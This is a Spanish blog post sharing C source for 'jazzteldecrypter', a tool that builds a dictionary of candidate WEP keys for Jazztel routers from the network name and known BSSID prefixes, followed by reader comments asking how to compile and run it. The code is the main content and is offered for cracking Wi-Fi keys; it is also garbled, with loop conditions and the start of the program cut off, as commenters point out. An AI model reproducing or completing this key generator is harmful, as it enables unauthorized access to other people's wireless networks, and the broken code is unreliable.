Inicio / Uncategorized / Desencriptar WIFIS Jazztel

Desencriptar WIFIS Jazztel

Zona WifiDespués del día que me he pegado hoy reconfigurando firewalls, routers, switches y la forma de ver las cosas con más calma, me he encontrado este código que proviene del de nilp0inter.

if(strlen(argv[2]) != 10 || strncmp(“JAZZTEL_”, argv[2], != 0 )
{
fprintf(stderr, ” [-] ESSID: %s invalido!!n”, argv[2]);
return 1;
}
else
{
for(i=0;i
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}

if(validHex!=2)
{
fprintf(stderr, ” [-] ESSID: %s invalido!!n”, argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];

fprintf(stderr,” [+] ESSID: %sn”, argv[2]);

if(argc>3) // Fichero
{

fprintf(stderr,” [+] Fichero de claves: %sn”, argv[3]);
fichero=fopen(argv[3], “a+”);
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, ” [+] Fichero guardadon”);
}
else
{
fprintf(stderr,” [-] Error al abrir el ficheron”);
return 1;
}
}
else
{
fprintf(stderr,” [+] Seleccionada salida estandarn”);
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}

}

return 0;
}

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j
{
strcpy(routers[j].bssid,””);
for(i=0;i<5;i++)
strcpy(routers[j].init[i],””);
strcpy(routers[j].notas,””);
}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,”00:1A:2B”);
strcpy(routers[i].init[0],”E001D20”);
strcpy(routers[i].notas,”Comtrend”);
i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, “njazzteldecrypter %i.%i – (c) 2008 nilp0inter2k6n”, VERSION, SUBVERSION);

fprintf(stderr, ” uso: jazzteldecrypter [output file]nn”);
}

//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;

for(i=0;i
bssid[i]=toupper(bssid[i]);

for(i=0;i
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}

return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;

while(index
{
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++)
{
fprintf(fichero, “%s%c%c%c%c%c%cn”,routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
}
index++;
}

}

Con esto lo que creamos es un diccionario para encontrar la clave WEP con un mínimo de iv’s (5 en concreto).

Espero que lo disfruteis.

Sobre Bosco López

/dev/null

Te puede interesar también

Error perflib Windows 2000 Server

Un error típico que se está encontrando en servidores basados en Windows 2000 server, es …

6 Comentarios

  1. Tiene muy buena pinta, pero como se usa exactamente??

    (Creo que hay que usarlo desde el cmd, con el comando cd ir hasta el directorio, pero no se que comando usar…)

  2. Lo primero que necesitas es tener un compilador de C, para poder ejecutar dicho código desde la consola.
    Una vez lo tengas compilado es solo lanzarlo desde la consola.

  3. Perdona pero el código está cortado, no acaba, ¿puedes completarlo? Gracias

  4. Hola muy buenas.
    Tiene buena pinta el codigo, pero al principio de todo no aparecen las librerias no?

    #include ¿?

    Si debe ser asi o lo dejan en blanco para que tu las indiques, es decir si es una pregunta estupida disculpen mi ignorancia, es que la programacion no es lo mio.

    Un saludo

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *